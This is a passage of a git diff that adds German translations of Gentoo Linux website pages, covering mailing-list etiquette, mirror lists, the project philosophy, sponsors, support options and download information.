+HTML-Emails sollten nicht verschickt werden, aber sind nicht verboten (es gibt
+einige MUA, besonders Web-basierte, die es einem sehr schwer machen, HTML
+komplett abzuschalten). Seien Sie sich bewusst, dass einige Benutzer ihre Seite
+so konfiguriert haben, dass ankommendes HTML komplett ignoriert wird. Daher kann
+es so aussehen, als würden Sie ignoriert werden, besonders wenn Sie eine
+HTML-only Email geschickt haben. Sie sollten sich bemühen, folgendes zu senden
+(in der empfohlenen Reihenfolge): text/plain, multipart mit text/plain vor
+text/html, text/html. MIME ist akzeptabel und oft genutzt.
+</p>
+
+<p>
+Bitte schicken Sie keinerlei Abwesenheits- oder Nicht-im-Büro-Nachrichten an
+die Liste. Im Interesse der Reduzierung von Listen-Spam werden wir, wenn Sie
+irgendwelche automatischen Antwortmails einstellen, die an die Listen gehen, Ihr
+Konto von ALLEN Listen abmelden. Alle zuvor registrierten Adressen, die
+Mailserver-Nachrichten an die Listen senden, werden ebenfalls entfernt.
+</p>
+
+<note>
+Zu generellen Verhaltensregeln auf Mailing-Listen bieten <uri
+link="http://www.dtcc.edu/cs/rfc1855.html">diese Leitfäden</uri> einen
+exzellenten Einstieg.
+</note>
+
+</body>
+</section>
+
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/de/mirrors2.xml b/xml/htdocs/main/de/mirrors2.xml
new file mode 100644
index 00000000..5b447998
--- /dev/null
+++ b/xml/htdocs/main/de/mirrors2.xml
@@ -0,0 +1,108 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/de/mirrors2.xml,v 1.4 2009/12/03 09:11:21 robbat2 Exp $ -->
+<?xml-stylesheet href="/xsl/mirrors.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="de">
+<title>Gentoo Linux Mirror</title>
+
+<author title="Autor">
+  <mail link="jforman@gentoo.org">Jeffrey Forman</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="keytoaster@gentoo.org">Tobias Heinlein</mail>
+</author>
+
+<abstract>
+Liste der Gentoo Mirror
+</abstract>
+
+<license/>
+
+<version>2.1</version>
+<date>2009-12-03</date>
+
+<chapter>
+<title>Vollständige Gentoo Download-Mirror</title>
+<section>
+<body>
+
+<p>
+Die folgenden Organisationen stellen einen vollständigen Source-Mirror aller
+Dateien, die mit Gentoo zu tun haben, bereit, u.a. Installations-CDs, LiveCDs
+und GRP-Paket-Sets.
+</p>
+
+<impo>
+Diese Mirror sind Download-Mirror. Die hier aufgelisteten rsync-Mirror sind
+<e>nicht</e> für den Einzelgebrauch (d.h. <c>emerge --sync</c>) bestimmt, da
+dies nicht nur den Portage-Tree, sondern den vollständigen Mirror herunterladen
+würde.
+</impo>
+
+<note>* gibt an, dass der Mirror IPv6 unterstützt</note>
+
+</body>
+</section>
+</chapter>
+
+<mirrorlist select="full" src="/main/en/mirrors3.xml"/>
+
+<chapter id="other">
+<title>Andere Mirror</title>
+<section>
+<body>
+
+<p>
+<uri link="http://ibiblio.org/pub/Linux/MIRRORS.html">Ibiblio.org(weltweite
+ibiblio Mirror)</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="partial">
+<title>Teilweise Mirror</title>
+<section>
+<body>
+
+<p>
+Diese Mirror sind keine vollständigen Mirror. Einige stellen nur Distfiles
+bereit, während andere nur über Installationsmedien verfügen. Bitte verwenden
+Sie einen der vollständigen Mirror, wenn Sie nicht finden, wonach Sie suchen.
+</p>
+
+</body>
+
+<body>
+ <mirrorlist select="partial" src="/main/en/mirrors3.xml"/>
+</body>
+</section>
+</chapter>
+
+<chapter id="resources">
+<title>Ressourcen spiegeln</title>
+<section>
+<body>
+
+<p>
+<uri link="/doc/de/rsync.xml">Wie man einen Gentoo-rsync-Mirror
+aufsetzt</uri><br/>
+<uri link="/doc/de/source_mirrors.xml">Wie man einen Gentoo-Source-Mirror
+aufsetzt</uri>
+</p>
+
+</body>
+</section>
+</chapter>
+
+</mainpage>
diff --git a/xml/htdocs/main/de/philosophy.xml b/xml/htdocs/main/de/philosophy.xml
new file mode 100644
index 00000000..e5afacd7
--- /dev/null
+++ b/xml/htdocs/main/de/philosophy.xml
@@ -0,0 +1,74 @@
+<?xml version='1.0' encoding='utf-8'?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/de/philosophy.xml,v 1.1 2008/09/23 14:21:00 keytoaster Exp $-->
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<mainpage lang="de">
+<title>Die Philosophie von Gentoo</title>
+<author title="Autor">
+  <mail link="drobbins@gentoo.org">Daniel Robbins</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="martin_winkler@gmx.de">Martin Winkler</mail>
+</author>
+
+<abstract>
+Dieses Dokument erklärt die Philosophe hinter Gentoo.
+</abstract>
+
+<license/>
+
+<version>1.3</version>
+<date>2006-04-30</date>
+
+<chapter>
+<title>Die Philosophie hinter Gentoo</title>
+<section>
+<body>
+
+<p>
+Jeder Anwender hat Arbeit zu erledigen. Das Ziel von Gentoo ist es, Werkzeuge
+und Systeme zu entwerfen, die es einem Anwender erlauben, diese Arbeit so
+erfreulich und effizient wie möglich zu tun, auf <e>seine</e> Weise.
+Es sollte eine Freude sein, unsere Werkzeuge zu benutzen, und sie sollten
+dem Anwender helfen, die Fülle der Linux-Gemeinschaft, der Gemeinschaft
+um freie Software und die Flexibilität freier Software zu schätzen.
+Dies ist nur möglich, wenn das Werkzeug dafür entworfen wurde, den Willen des
+Anwenders widerzuspiegeln und umzusetzen und die Möglichkeiten offen zu
+lassen, was die letzte Form der Ausgangsmaterialien (den Quellcode) betrifft.
+Wenn das Werkzeug den Anwender zwingt, Dinge auf eine bestimmte Weise zu tun,
+dann arbeitet das Werkzeug gegen anstatt für den Anwender.
+Wir alle haben Situationen erlebt, in denen Werkzeuge uns ihren jeweiligen
+Willen auferlegen wollen. Dies ist rückständig und entgegen der Gentoo
+Philosophie.
+</p>
+
+<p>
+Anders gesagt: Die Gentoo Philosophie ist es, die besseren Werkzeuge
+hervorzubringen. Wenn ein Werkzeug seine Aufgabe perfekt erfüllt, dann werden
+Sie sich vielleicht nicht einmal seiner Gegenwart bewusst, weil es Sie nicht
+beeinträchtigt und seine Gegenwart spüren lässt, noch Sie dazu zwingt, mit ihm
+umzugehen, wenn Sie dies nicht möchten. Das Werkzeug dient eher dem Anwender
+als dass der Anwender das Werkzeug bedient.
+</p>
+
+<p>
+Das Ziel von Gentoo ist es anzustreben, nahezu ideale Werkzeuge zu schaffen.
+Werkzeuge die sich den Bedürfnissen vieler verschiedener Anwender anpassen
+können, die alle unterschiedliche Ziele haben.
+Lieben Sie es nicht, wenn Sie ein Werkzeug finden, welches exakt das tut, was
+Sie tun möchten? Fühlt sich das nicht großartig an? Unser Auftrag ist es,
+dieses Gefühl so vielen Leuten wie möglich zu geben.
+</p>
+
+<p>
+Daniel Robbins<br/>
+Früherer Chefarchitekt
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/de/sponsors.xml b/xml/htdocs/main/de/sponsors.xml
new file mode 100644
index 00000000..ef736814
--- /dev/null
+++ b/xml/htdocs/main/de/sponsors.xml
@@ -0,0 +1,469 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/de/sponsors.xml,v 1.13 2010/05/15 13:06:01 keytoaster Exp $ -->
+
+<mainpage>
+<title>Gentoo Sponsoren</title>
+
+<author title="Autor">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="Autor">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Autor">
+  <mail link="robbat2@gentoo.org">Robin H. Johnson</mail>
+</author>
+<author title="Bearbeiter">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="grahl@gentoo.org">Jan Hendrik Grahl</mail>
+</author>
+<author title="Korrektor">
+  <mail link="keytoaster@gentoo.org">Tobias Heinlein</mail>
+</author>
+
+<abstract>
+Sponsoren von Gentoo
+</abstract>
+
+<license/>
+<version>1.21</version>
+<date>2010-02-02</date>
+
+<chapter>
+<title>Sponsoren von Gentoo</title>
+<section>
+<body>
+
+<p>
+Gentoo möchte sich bei den folgenden Unternehmen und Organisationen für die
+Spende von verschiedensten Diensten und Equipment, welche die weitere
+Entwicklung von Gentoo voranbringen, bedanken. Ohne diese Organisationen wäre
+Gentoo heute nicht das, was es ist.
+</p>
+
+</body>
+</section>
+<section>
+<title>Oregon State University</title>
+<body>
+
+<!-- We want the two images to be adjacent, not stacked, but I can't get the
+     docs to do that! Help welcome. -->
+<fig link="/images/sponsors/osu-logo.png" linkto="http://oregonstate.edu"
+     short="Oregon State University"/>
+<fig link="/images/sponsors/osuosl-logo.png" linkto="http://osuosl.org"
+     short="OSU Open Source Lab"/>
+
+<p>
+Das an der <uri link="http://oregonstate.edu">Oregon State University</uri> im
+wunderschönen Corvallis, Oregon gelegene <uri link="http://osuosl.org">Open
+Source Lab</uri> ist ein Schwerpunkt der Entwicklung, des Hostings und anderer
+zahlreicher Dienste für die Open-Source-Community.
+</p>
+
+<p>
+OSU stellt verschiedene Dienste für das Gentoo-Projekt bereit. Zusätzlich zur
+Bereitstellung des primären Quell-Mirrors für Gentoo bieten sie auch
+Raum für die Unterbringung mehrerer Gentoo-Server.
+</p>
+
+</body>
+</section>
+<section>
+<title>Indiana University</title>
+<body>
+
+<fig link="/images/sponsors/iu-logo.jpg" linkto="http://www.iu.edu"
+     short="Indiana University"/>
+
+<p>
+Indiana University wurde 1820 in Bloomington, Indiana gegründet. Die
+Universität ist seitdem auf acht Campus, verteilt über Indiana, angewachsen.
+Diese haben eine Immatrikulation, die zusammengerechnet an 100.000 Diplom- und
+Vordiplomstudenten reicht. IU bietet 116 akademische Programme an, die sich in
+den Top-20 der Nation befinden. Es gibt weltweit mehr als 460.000 IU-Ehemalige.
+</p>
+
+<p>
+Indiana University stellt Colocation der Infrastrukturserver für Gentoo
+bereit, sowie einen Quellen- und Portage-Mirror mit großem Volumen.
+</p>
+
+</body>
+</section>
+<section>
+<title>NVIDIA</title>
+<body>
+
+<fig link="/images/sponsors/nvidia-logo.gif" linkto="http://www.nvidia.com"
+     short="NVIDIA"/>
+
+<p>
+NVIDIA Corporation (Nasdaq: NVDA) ist ein Marktführer in visueller
+Computertechnologie, der es sich zum Ziel gemacht hat, Produkte zu entwerfen,
+die das Erlebnis mit digitalen Medien für Endverbraucher- und Profiumgebungen
+verbessern; von Desktops und Workstations bis zu Notebooks und Handhelds.
+Die Grafik- und Kommunikationsprozessoren sind auf dem Markt weit verbreitet und
+finden sich in einer großen Anzahl von Umgebungen, einschließlich
+Endverbraucher-PCs, Enterprise-PCs, professionellen Workstations, Systemen zur
+Erstellung von digitalem Content, militärischen Navigationssystemen und
+Videospielkonsolen.
+</p>
+
+<p>
+NVIDIA hat dem Gentoo-Projekt zahlreiche AMD-Entwicklungsrechner und Videokarten
+zur weiteren Entwicklung von Gentoo auf den Plattformen Athlon XP und Athlon64
+bereitgestellt.
+</p>
+
+</body>
+</section>
+<section>
+<title>UltraDNS</title>
+<body>
+
+<fig link="/images/sponsors/ultradns-logo.jpg" linkto="http://www.ultradns.com"
+     short="UltraDNS"/>
+
+<p>
+UltraDNS liefert fortgeschrittene, höchst intelligente und global skalierende
+Verzeichnisdienste, welche die Performance und Verlässlichkeit von Netzwerken
+und Mission-Critical Anwendungen zur Informationsverteilung maßgeblich
+verbessern.
+</p>
+
+<p>
+UltraDNS stellt dem Gentoo-Projekt DNS-Dienste bereit, einschließich
+fortgeschrittenen Features wie <uri
+link="http://www.ultradns.com/services/directional_dns.cfm">Directional
+DNS</uri>, um auslastungsbalanzierte DNS-Dienste für unseren rsync.gentoo.org
+Pool an rsync-Servern bereitzustellen, und <uri
+link="http://www.ultradns.com/services/sitebacker.cfm">SiteBacker</uri>, um
+Serverzustands-Monitoring und Ausfallsicherungsressourcen für unsere
+Infrastrukturserver bereizustellen.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Global Netoptex, Inc.</title>
+<body>
+
+<fig link="/images/sponsors/gni_logo.png" linkto="http://www.netoptex.com"
+     short="Global Netoptex, Inc."/>
+
+<p>
+GNi ist ein führendes Unternehmen für auf den Kunden zugeschnitte verwaltete
+Dienste, die die Infrastruktur ihrer Kunden erweitern und die gesamten
+Betriebskosten des Kunden erheblich reduzieren. Sie liefern die Experten,
+Ressourcen und Lösungen um die Anfordeungen ihrer Kunden, sowohl vor Ort als
+auch außerhäusig, zu erfüllen und zu übertreffen.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Bytemark Hosting</title>
+<body>
+
+<fig link="/images/sponsors/bytemark_logo.png"
+linkto="http://www.bytemark.co.uk/r/gentoo-sponsors" short="Bytemark Hosting"/>
+
+<p>
+Bytemark Hosting stellt Gentoo Linux Server und Dienste bereit, welche unser
+globales Netzwerk an Mirrorn betreiben. Sie sind ein führender Internet Service
+Provider (ISP) im Vereinigten Königreich und lieferen skalierendes,
+leistungsfähiges und bezahlbares Hosting mit vielen standardmäßigen Extras,
+speziell für "Geeks". Sie haben Gentoo Linux in ihrem Netzwerk eingesetzt, um
+eine flexible Lösung zu schwierigen Problemen zu liefern, wie das Bereitstellen
+einer Rescue-Umgebung über das Netzwerk für alle dedizierten Hosts.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Hyves.net</title>
+<body>
+
+<fig link="/images/sponsors/hyves-logo.png" linkto="http://www.hyves.net/"
+     short="Hyves.net" />
+
+<p>
+Hyves stellt Gentoo Linux Server und Hosting für den Bugzilla-Cluster bereit.
+Sie sind ein innovatives, europäisches, soziales Netzwerk und verwenden <uri
+link="http://www.gentoo.org/news/en/gmn/20080424-newsletter.xml#doc_chap3">
+Gentoo auf über 1800 Servern</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>SevenL Networks</title>
+<body>
+
+<fig link="/images/sponsors/sevenl_logo.png" linkto="http://www.sevenl.net/"
+     short="SevenL.net" />
+
+<p>
+SevenL Networks Inc. ist ein Weltführer für Managed Hosting, dedizierte Server,
+VPS und Rechenzentrumslösungen. SevenL hat Gentoo Linux seit 2004 mit Stolz
+<uri link="http://www.sevenl.net/marketing/?menu=dedicated_servers">sevenl
+dedicated servers</uri> Dienste gestiftet. Weiterhin stiften sie eine Reihe von
+dedizierten Servern für CentOS, Linux Mint, Arch Linux und eine Zahl von
+weiteren Open-Source-Communities, die auf Sponsoring angewiesen sind, um
+erfolgreich zu sein.
+</p>
+
+</body>
+</section>
+
+
+<section>
+<title>Edurium</title>
+<body>
+<fig link="/images/sponsors/edurium-big.gif"
+linkto="http://www.edurium.de/" short="Edurium" />
+<p>
+<uri link="http://www.edurium.de">edurium</uri> - the education portal ist ein
+deutsches Bildungsportal. Sie folgen ihrem Herzen und persönlichem Kredo
+indem sie kontinuierlich die Freiheit von Open-Source-Projekten für alle
+Benutzer schützen. Sie schätzen in hohem Maße den Wert von Gentoo und verstehen
+die Notwendigkeit sowohl die Entwickler als auch die Infrastruktur zu
+unterstützen.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Hetzner Online AG</title>
+<body>
+<fig link="/images/sponsors/hetzner-logo.jpg" linkto="http://www.hetzner.de/"
+short="Hetzner Online AG" />
+<p>
+<uri link="http://www.hetzner.de/">Hetzner Online</uri> gehört zu den
+führenden Webhosting-Unternehmen und Rechenzentren-Betreibern in Deutschland.
+Zum Leistungsspektrum zählen dedizierte Server, Colocation, Webspace, Domains,
+SSL-Zertifikate und Suchmaschineneinträge. Verbunden mit unschlagbaren Preisen
+und einem ausgezeichneten Support übertrifft Hetzner Online Kundenerwartungen
+auf der ganzen Welt. Hetzner Online unterstützt das Gentoo-Projekt mit einem
+leistungsstarken dedizierten Server.
+</p>
+</body>
+</section>
+
+<section>
+<title>Opengear</title>
+<body>
+<fig link="/images/sponsors/opengear-logo.jpg" linkto="http://www.opengear.com/"
+short="Opengear" />
+<p>
+<uri link="http://www.opengear.com/">Opengear</uri> entwirft und produziert
+neueste Konsolenserverlösungen für den sicheren Fernzugriff und die Kontrolle
+von Netzwerkgeräten wie z.B. Routern, Switchen, Servern, Firewalls, USVs,
+Stromverteilern und Umgebungskontrollgeräten. Das Ziel von Opengear ist es, ein
+führender Anbieter von Open-Source-Technologien für Infrastrukturverwaltung und
+ein innovativer Entwickler von Zukunftstechnologien im Bereich der
+Konsolenserver und Energieverwaltungslösungen zu sein. Opengear hat einige
+Konsolenserver für Gentoo gespendet.
+</p>
+</body>
+</section>
+
+<section>
+<title>WebHosting.UK.com</title>
+<body>
+<fig link="/images/sponsors/web-hosting-uk.jpg"
+linkto="http://www.webhosting.uk.com/" short="WebHosting.UK.com" />
+<p>
+WebHosting UK, gegründet 2001, bietet billige und bezahlbare Gentoo Linux
+Server in UK an. Webhosting UK stellt ebenfalls komplett verwaltetes Shared
+Hosting, Semi Dedicated Hosting und Virtual Private Servers mit allen
+wichtigen Features, wie z.B. 24x7x365 technischer Support und 99.95%
+Uptime-Garantie standardmäßig einbegriffen, an.
+</p>
+</body>
+</section>
+
+<section>
+<title>OSTC</title>
+<body>
+<fig link="/images/sponsors/ostc-banner.jpg" linkto="http://ostc.pl/"
+short="OSTC" />
+<p><uri link="http://ostc.pl/">OSTC</uri> ist das erste und größte
+Derivatenhandlungsunternehmen Polens. Es setzt die Grenzen des globalen Marktes
+für den elektronischen Handel unter Einsatz von Gentoo und Open-Source-Software
+als wesentliche Komponenten.</p>
+</body>
+</section>
+
+<section>
+<title>Genesi</title>
+<body>
+
+<fig link="/images/sponsors/genesi_logo.gif" linkto="http://www.genesi.lu/"
+     short="Genesi"/>
+
+<p>
+Genesi ist ein führender Lieferant für Freescale und auf IBM PowerPC
+basierenden Systemen Computerprodukten. Der <uri
+link="http://www.pegasosppc.com">PegasosPPC MicroATX Computer</uri> von Genesi
+ist entworfen worden, um die Flexibilität und Effizienz der PowerPC-Technologie
+auf den Desktop zu bringen. Beginnend mit dem Release 2004.3 wird die Open
+Desktop Workstation mit Gentoo vorinstalliert ausgeliefert.
+</p>
+
+<p>
+<uri link="http://www.genesi.lu">Genesi</uri>  hat viele PowerPC-basierende
+<uri link="http://www.pegasosppc.com/odw.php">Open Desktop
+Workstations</uri> für Gentoo bereitgestellt. Für Informationen über die
+Beteiligung von Genesi in der Linux Open-Source-Gemeinde, werfen Sie bitte
+einen Blick auf <uri link="http://www.ppczone.org">www.PPCZone.org</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>DataRescue</title>
+<body>
+
+<fig link="/images/sponsors/datarescue-logo.gif"
+     linkto="http://www.datarescue.com" short="DataRescue logo"/>
+
+<p>
+DataRescue entwickelt den IDA Pro Disassembler &amp; Debugger, ein essentielles
+Tool zur Erforschung von Schwachstelen und feindlicher Binäranalyse. DataRescue
+läuft auf mehreren der öffentlichen Server und dem internen Hauptserver von
+Gentoo Linux.
+</p>
+
+<p>
+DataRescue hat Software für das Gentoo Audit Team gespendet.
+</p>
+
+</body>
+</section>
+<section>
+<title>University of Virginia</title>
+<body>
+
+<fig link="/images/sponsors/virginia-logo.gif" linkto="http://www.virginia.edu"
+     short="University of Virginia Logo"/>
+
+<p>
+Die University of Virginia stellt eine relativ große Anzahl von Alpha-Rechnern
+bereit, die von den Gentoo/Alpha-Entwicklern zur Erstellung von neuen
+Gentoo-Releases, sowie für die tägliche Arbeit wie das Testen
+von Keywords und Sicherheitsaktualisierungen, genutzt werden.
+</p>
+
+</body>
+</section>
+<section>
+<title>HP</title>
+<body>
+
+<fig link="/images/sponsors/hp-logo.jpg" linkto="http://opensource.hp.com"
+     short="HP OpenSource Logo"/>
+
+<p>
+HP liefert weltweit Technologielösungen für Endanwender, Geschäfstkunden
+und Institutionen. HP hat über 200 Produkte, die mit Open-Source-Software
+ausgeliefert werden. Von Clients über Server bis zu Rechenzentren, HP trägt
+zu Hunderten von Open-Source-Projekten bei, jeden Tag. Weitere Informationen
+über HPs Open-Source-Lösungen gibt es bei <uri
+link="http://opensource.hp.com/">http://opensource.hp.com/</uri>
+</p>
+
+<p>
+HP stellt Ressourcen für Forschung und Entwicklung bereit und hat dem
+Gentoo-Projekt Alpha- und IA64-Hardware geliehen.
+</p>
+
+</body>
+</section>
+<section>
+<title>Physikfakultät - Universität Triest</title>
+<body>
+
+<fig link="/images/sponsors/units_logo.png" linkto="http://physics.units.it"
+     short="Department of Physics - University of Trieste"/>
+
+<p>
+Die Physikfakultät an der Universität Triest hat Infrastrukturdienste
+für das Gentoo-Projekt bereitgestellt und hostet alle unsere Mailinglisten seit
+vielen Jahren.
+</p>
+
+</body>
+</section>
+<section>
+<title>Inverse Path</title>
+<body>
+
+<fig link="/images/sponsors/inversepath_logo.png"
+linkto="http://www.inversepath.com" short="Inverse Path Ltd."/>
+
+<p>
+Inverse Path Ltd. ist ein internationales Beratungsunternehmen, das Design und
+Implementierung von sicheren Netwzwerken und Infrastruktur liefert, mit
+besonderen Fachkenntissen in Open-Source-Software. Unter ihren Dienstleistungen
+bieten sie kommerzielle Gentoo-Unterstützung für Deployments in
+Produktionsumgebungen sowie Expertentraining an.
+</p>
+<p>
+Inverse Path hat früher einen VOIP-Server zur Nutzung für die Gentoo-Entwickler
+bereit gestellt.
+</p>
+</body>
+</section>
+<section>
+<title>Cloanto</title>
+<body>
+
+<p>
+<uri link="http://www.amigaforever.com/">Cloanto</uri> hat die <uri
+link="http://www.amigaforever.com/">Amiga Forever CD</uri> gespendet, um die
+die Entwicklung und Pflege von Amiga-Emulationssoftware in Gentoo zu
+unterstützen.
+</p>
+</body>
+</section>
+<section>
+<title>Quell- und Rsync-Mirror</title>
+<body>
+
+<p>
+Gentoo wird immens von einem globalen Netzwerk an Rsync- und Quell-Mirror
+gestützt. Ohne diese Mirror wären der Zugang zu neuen Paketen,
+Aktualisierungen vom Portage-Tree und neue Releases von Gentoo Linux
+unmöglich. Einige Mirror werden von Individuen bereitgestellt, andere von
+Unternehmen. Sie finden eine komplette Auflistung auf unserer <uri
+link="/main/en/mirrors.xml">Gentoo-Mirror Seite</uri>.
+</p>
+
+
+</body>
+</section>
+<section>
+<title>Weitere Sponsoren</title>
+<body>
+
+<p>
+Verschiedene weitere Unternehmen und Organisationen bieten dem Gentoo-Projekt
+ihre Dienste und Hilfe an, haben aber den Wunsch geäußert, anonym zu bleiben.
+Wir möchten auch diesen Sponsoren für Ihre Unterstützung von Gentoo danken.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/de/support.xml b/xml/htdocs/main/de/support.xml
new file mode 100644
index 00000000..c63bbe9f
--- /dev/null
+++ b/xml/htdocs/main/de/support.xml
@@ -0,0 +1,112 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/de/support.xml,v 1.3 2008/12/14 13:33:12 keytoaster Exp $ -->
+
+<mainpage>
+<title>Gentoo Linux Support</title>
+
+<author title="Author">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Editor">
+  <mail link="curtis119@gentoo.org">Curtis Napier</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="micm@micm.eu">Michael Münch</mail>
+</author>
+
+<abstract>
+Wie Sie Support für Gentoo Linux bekommen
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>0.4</version>
+<date>2005-04-30</date>
+
+<chapter>
+<title>Support</title>
+<section id="intro">
+<body>
+
+<p>
+Gentoo ist eine von Freiwilligen erstellte Distribution, was sich auch in
+unseren Supportmöglichkeiten widerspiegelt. Es ist für unsere Entwickler
+nicht möglich (bezahlten) Support zu leisten, da wir weder die Zeit noch die
+Ressourcen dazu haben.
+</p>
+
+<p>
+Wir haben allerdings eine großartige Gentoo Gemeinschaft, die viele Aspekte der
+Gentoo Distribution testet und dokumentiert. Wir empfehlen Ihnen, sich mit
+Supportanfragen direkt an das <uri link="http://forums.gentoo.org">Gentoo
+Forum</uri>, <uri link="/main/de/lists.xml">die Gentoo Mailinglisten</uri> oder
+<uri link="/main/de/irc.xml">die Gentoo Chat Kanäle</uri> zu wenden. Diese sind
+für Supportanfragen bei weitem besser geeignet, da sie einen großen Teil des
+bekannten Wissens über Gentoo bereithalten.
+</p>
+
+<p>
+Die meisten Gentoo-Entwickler besuchen diese Einrichtungen regelmäßig und
+versuchen sich an laufenden Diskussionen zu beteiligen sowie aufkommende Fragen
+zu beantworten.
+</p>
+
+</body>
+</section>
+<section id="requirements">
+<title>Hardwareanforderungen</title>
+<body>
+
+<p>
+Die Hardwareanforderungen für jede Architektur finden Sie in unserem <uri
+link="/doc/de/handbook/index.xml">Gentoo Handbuch</uri>.
+</p>
+
+<p>
+Direkte Links zu den Hardwareanforderungen:
+<uri link="/doc/de/handbook/handbook-alpha.xml?part=1&amp;chap=2#doc_chap1">alpha</uri>,
+<uri link="/doc/de/handbook/handbook-amd64.xml?part=1&amp;chap=2#doc_chap1">amd64</uri>,
+<uri link="/doc/de/handbook/handbook-hppa.xml?part=1&amp;chap=2#doc_chap1">hppa</uri>,
+<uri link="/doc/de/handbook/handbook-mips.xml?part=1&amp;chap=2#doc_chap1">mips</uri>,
+<uri link="/doc/de/handbook/handbook-ppc.xml?part=1&amp;chap=2#doc_chap1">ppc</uri>,
+<uri link="/doc/de/handbook/handbook-ppc64.xml?part=1&amp;chap=2#doc_chap1">ppc64</uri>,
+<uri link="/doc/de/handbook/handbook-sparc.xml?part=1&amp;chap=2#doc_chap1">sparc</uri>,
+<uri link="/doc/de/handbook/handbook-x86.xml?part=1&amp;chap=2#doc_chap1">x86</uri>
+</p>
+
+</body>
+</section>
+<section id="downloading">
+<title>Gentoo herunterladen</title>
+<body>
+
+<p>
+Sie können Gentoo von einem unserer <uri
+link="/main/en/mirrors.xml">Spiegelserver</uri> herunterladen. Die verfügbaren
+ISO-Dateien finden Sie innerhalb des Verzeichnisses <path>releases/</path>.
+</p>
+
+<p>
+Weitere Informationen über die verfügbaren ISO-Images und Dateien finden Sie in
+unserem <uri link="/doc/de/handbook/index.xml">Gentoo Handbuch</uri>.
+</p>
+
+</body>
+</section>
+<section id="reporting">
+<title>Melden von Bugs</title>
+<body>
+
+<p>
+Haben Sie einen Bug gefunden? Bitte <uri
+link="http://bugs.gentoo.org">melden</uri> Sie ihn.
+</p>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/de/where.xml b/xml/htdocs/main/de/where.xml
new file mode 100644
index 00000000..b54c936d
--- /dev/null
+++ b/xml/htdocs/main/de/where.xml
@@ -0,0 +1,206 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/de/where.xml,v 1.11 2009/12/19 21:04:08 keytoaster Exp $ -->
+
+<mainpage>
+<title>Wo man Gentoo Linux bekommt</title>
+
+<author title="Autor">
+  <mail link="www@gentoo.org">Gentoo WWW Team</mail>
+</author>
+
+<abstract>
+Wie man Gentoo Linux aus dem Internet erhält
+</abstract>
+
+<license/>
+
+<version>1.72</version>
+<date>2009-11-15</date>
+
+<chapter>
+<title>Release-Information</title>
+<section>
+<body>
+
+<p>
+Beschreibungen, Release-Notes, Roadmaps, Unterprojekte und eine Liste der
+Gentoo-Entwickler, die an den Gentoo Release-Medien arbeiten, können auf unserer
+<uri link="/proj/en/releng/">Release Engineering Projektseite</uri> gefunden
+werden.
+</p>
+
+<p>
+Bitte ziehen Sie unsere <uri link="/doc/de/handbook/">Gentoo Handbücher</uri> zu
+Rate, wenn Sie weitere Informationen dazu benötigen, was Sie herunterladen
+müssen und wie Sie Gentoo installieren.
+</p>
+
+</body>
+</section>
+<section>
+<title>Herunterladen von Gentoo Linux</title>
+<body>
+
+<p>
+Gentoo Linux ist frei über das Internet verfügbar. Sie können Gentoo Linux mit
+Hilfe des passenden ISO- und Architektur-Links unten herunterladen.
+</p>
+
+<!-- No torrents for the autobuilds for the forseeable future
+Falls Sie BitTorrent bevorzugen, können Sie alternativ auch die Liste der
+verfügbaren Torrents unter <uri
+link="http://torrents.gentoo.org">torrents.gentoo.org</uri> einsehen.
+-->
+</body>
+</section>
+
+<!-- Autobuild start -->
+
+<section>
+<title>Wöchentliche Gentoo Minimal-Installations-CDs und Stages</title>
+<body>
+
+<p>
+Unser Release Engineering Team stellt Ihnen <e>wöchentlich</e> neue minimale
+Installations-CDs und Stages zur Verfügung. Sie finden diese Veröffentlichungen
+auf unseren Mirrors in <path>/releases/&lt;arch&gt;/current-iso/</path> oder
+<path>/releases/&lt;arch&gt;/current-stage3/</path>. Nicht jede Architektur wird
+am gleichen Tag aktualisiert wird. Nicht alle Architekturen veröffentlichen
+CD-Images.
+</p>
+
+<p>
+Da diese Veröffentlichungen automatisch von den Release Engineering Servern
+erstellt werden, ist es möglich, dass ein Stage oder eine CD in einer Woche
